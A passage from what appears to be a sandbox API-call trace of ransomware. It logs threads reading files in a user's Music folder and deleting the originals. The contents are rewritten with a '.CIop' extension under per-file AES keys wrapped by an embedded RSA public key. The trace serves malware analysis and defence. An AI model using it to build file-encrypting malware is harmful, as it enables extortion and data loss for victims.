pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0094.949] CryptEncrypt (in: hKey=0x5c2ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62ed40*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62ed40*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0094.949] WriteFile (in: hFile=0x4bc, lpBuffer=0x62ed40*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62ed40*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.949] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.950] VirtualFree (lpAddress=0x3270000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.950] VirtualFree (lpAddress=0x3280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.950] CloseHandle (hObject=0x4bc) returned 1 [0094.952] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\p6UEXQwLP.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\p6uexqwlp.mp3")) returned 0 Thread: id = 107 os_tid = 0xad4 [0094.998] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.998] lstrcpyW (in: lpString1=0x2fef368, lpString2="Pf3R-b3DBtl.wav" | out: lpString1="Pf3R-b3DBtl.wav") returned="Pf3R-b3DBtl.wav" [0094.998] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.998] SetErrorMode (uMode=0x1) returned 0x1 [0094.998] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\Pf3R-b3DBtl.wav") returned 47 [0094.998] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\Pf3R-b3DBtl.wav", dwFileAttributes=0x20) returned 1 [0094.998] StrStrW (lpFirst="Pf3R-b3DBtl.wav", lpSrch=".CIop") returned 0x0 [0094.998] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\Pf3R-b3DBtl.wav.CIop") returned 52 [0094.998] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\Pf3R-b3DBtl.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\pf3r-b3dbtl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0094.998] ReadFile (in: hFile=0x4bc, lpBuffer=0x5f83c8, nNumberOfBytesToRead=0x1353, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x5f83c8*, lpNumberOfBytesRead=0x2fee5e8*=0x1353, lpOverlapped=0x0) returned 1 [0094.999] CloseHandle (hObject=0x4bc) returned 1 [0094.999] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\Pf3R-b3DBtl.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\pf3r-b3dbtl.wav")) returned 1 [0095.000] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0095.000] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0095.000] SetErrorMode (uMode=0x1) returned 0x1 [0095.000] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x5c8840) returned 1 [0095.003] CryptGenKey (in: hProv=0x5c8840, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3190) returned 1 [0095.037] CryptExportKey (in: hKey=0x5c3190, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0095.037] CryptExportKey (in: hKey=0x5c3190, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0095.037] CryptDestroyKey (hKey=0x5c3190) returned 1 [0095.037] CryptReleaseContext (hProv=0x5c8840, dwFlags=0x0) returned 1 [0095.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\Pf3R-b3DBtl.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\pf3r-b3dbtl.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0095.037] WriteFile (in: hFile=0x4bc, lpBuffer=0x5f83c8*, nNumberOfBytesToWrite=0x1353, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5f83c8*, lpNumberOfBytesWritten=0x2fee5d8*=0x1353, lpOverlapped=0x0) returned 1 [0095.038] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1353 [0095.038] WriteFile (in: hFile=0x4bc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0095.038] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x135a [0095.038] SetErrorMode (uMode=0x1) returned 0x1 [0095.038] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0095.038] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0095.038] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0095.038] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x5c8a60) returned 1 [0095.039] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8a60, dwCertEncodingType=0x1, pInfo=0x5c1780, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c2f50) returned 1 [0095.039] CryptEncrypt (in: hKey=0x5c2f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0095.039] CryptEncrypt (in: hKey=0x5c2f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c9258*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c9258*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0095.039] WriteFile (in: hFile=0x4bc, lpBuffer=0x5c9258*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c9258*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0095.039] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.039] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.039] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.039] CloseHandle (hObject=0x4bc) returned 1 [0095.040] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\Pf3R-b3DBtl.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\pf3r-b3dbtl.wav")) returned 0 Thread: id = 108 os_tid = 0xaec [0095.060] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.060] lstrcpyW (in: lpString1=0x2fef368, lpString2="vEcRh3pLVRcZ1O.mp3" | out: lpString1="vEcRh3pLVRcZ1O.mp3") returned="vEcRh3pLVRcZ1O.mp3" [0095.060] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0095.060] SetErrorMode (uMode=0x1) returned 0x1 [0095.061] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\vEcRh3pLVRcZ1O.mp3") returned 50 [0095.061] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\vEcRh3pLVRcZ1O.mp3", dwFileAttributes=0x20) returned 1 [0095.061] StrStrW (lpFirst="vEcRh3pLVRcZ1O.mp3", lpSrch=".CIop") returned 0x0 [0095.061] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\vEcRh3pLVRcZ1O.mp3.CIop") returned 55 [0095.061] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\vEcRh3pLVRcZ1O.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\vecrh3plvrcz1o.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0095.061] ReadFile (in: hFile=0x4c0, lpBuffer=0x63acf0, nNumberOfBytesToRead=0x108d1, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63acf0*, lpNumberOfBytesRead=0x2fee5e8*=0x108d1, lpOverlapped=0x0) returned 1 [0095.062] CloseHandle (hObject=0x4c0) returned 1 [0095.062] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\vEcRh3pLVRcZ1O.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\vecrh3plvrcz1o.mp3")) returned 1 [0095.063] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0095.063] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0095.064] SetErrorMode (uMode=0x1) returned 0x1 [0095.064] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x5c8ae8) returned 1 [0095.066] CryptGenKey (in: hProv=0x5c8ae8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c2d50) returned 1 [0095.097] CryptExportKey (in: hKey=0x5c2d50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0095.097] CryptExportKey (in: hKey=0x5c2d50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0095.097] CryptDestroyKey (hKey=0x5c2d50) returned 1 [0095.097] CryptReleaseContext (hProv=0x5c8ae8, dwFlags=0x0) returned 1 [0095.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\vEcRh3pLVRcZ1O.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\vecrh3plvrcz1o.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0095.098] WriteFile (in: hFile=0x4ac, lpBuffer=0x63acf0*, nNumberOfBytesToWrite=0x108d1, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63acf0*, lpNumberOfBytesWritten=0x2fee5d8*=0x108d1, lpOverlapped=0x0) returned 1 [0095.099] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x108d1 [0095.099] WriteFile (in: hFile=0x4ac, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0095.099] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x108d8 [0095.099] SetErrorMode (uMode=0x1) returned 0x1 [0095.099] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0095.100] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0095.100] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0095.100] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x5c8d08) returned 1 [0095.100] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8d08, dwCertEncodingType=0x1, pInfo=0x5c22e0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c3250) returned 1 [0095.100] CryptEncrypt (in: hKey=0x5c3250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0095.100] CryptEncrypt (in: hKey=0x5c3250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c8ea0*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c8ea0*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0095.100] WriteFile (in: hFile=0x4ac, lpBuffer=0x5c8ea0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c8ea0*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0095.100] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.101] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.101] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.101] CloseHandle (hObject=0x4ac) returned 1 [0095.102] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\vEcRh3pLVRcZ1O.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\vecrh3plvrcz1o.mp3")) returned 0 Thread: id = 109 os_tid = 0x384 [0095.103] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.103] lstrcpyW (in: lpString1=0x314f368, lpString2="z8Pr_v.mp3" | out: lpString1="z8Pr_v.mp3") returned="z8Pr_v.mp3" [0095.103] lstrcpyW (in: lpString1=0x314f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0095.103] SetErrorMode (uMode=0x1) returned 0x1 [0095.103] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\z8Pr_v.mp3") returned 42 [0095.104] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\z8Pr_v.mp3", dwFileAttributes=0x20) returned 1 [0095.104] StrStrW (lpFirst="z8Pr_v.mp3", lpSrch=".CIop") returned 0x0 [0095.104] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\z8Pr_v.mp3.CIop") returned 47 [0095.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\z8Pr_v.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\z8pr_v.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0095.105] ReadFile (in: hFile=0x4bc, lpBuffer=0x63acf0, nNumberOfBytesToRead=0xc692, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x63acf0*, lpNumberOfBytesRead=0x314e5e8*=0xc692, lpOverlapped=0x0) returned 1 [0095.105] CloseHandle (hObject=0x4bc) returned 1 [0095.105] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\z8Pr_v.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\z8pr_v.mp3")) returned 1 [0095.109] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0095.110] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0095.110] SetErrorMode (uMode=0x1) returned 0x1 [0095.110] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x5c8ae8) returned 1 [0095.112] CryptGenKey (in: hProv=0x5c8ae8, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x5c2d50) returned 1 [0095.143] CryptExportKey (in: hKey=0x5c2d50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0095.143] CryptExportKey (in: hKey=0x5c2d50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x314e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0095.143] CryptDestroyKey (hKey=0x5c2d50) returned 1 [0095.143] CryptReleaseContext (hProv=0x5c8ae8, dwFlags=0x0) returned 1 [0095.143] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\z8Pr_v.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\z8pr_v.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0095.143] WriteFile (in: hFile=0x4b8, lpBuffer=0x63acf0*, nNumberOfBytesToWrite=0xc692, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x63acf0*, lpNumberOfBytesWritten=0x314e5d8*=0xc692, lpOverlapped=0x0) returned 1 [0095.144] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc692 [0095.145] WriteFile (in: hFile=0x4b8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0095.145] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc699 [0095.145] SetErrorMode (uMode=0x1) returned 0x1 [0095.145] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0095.145] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, 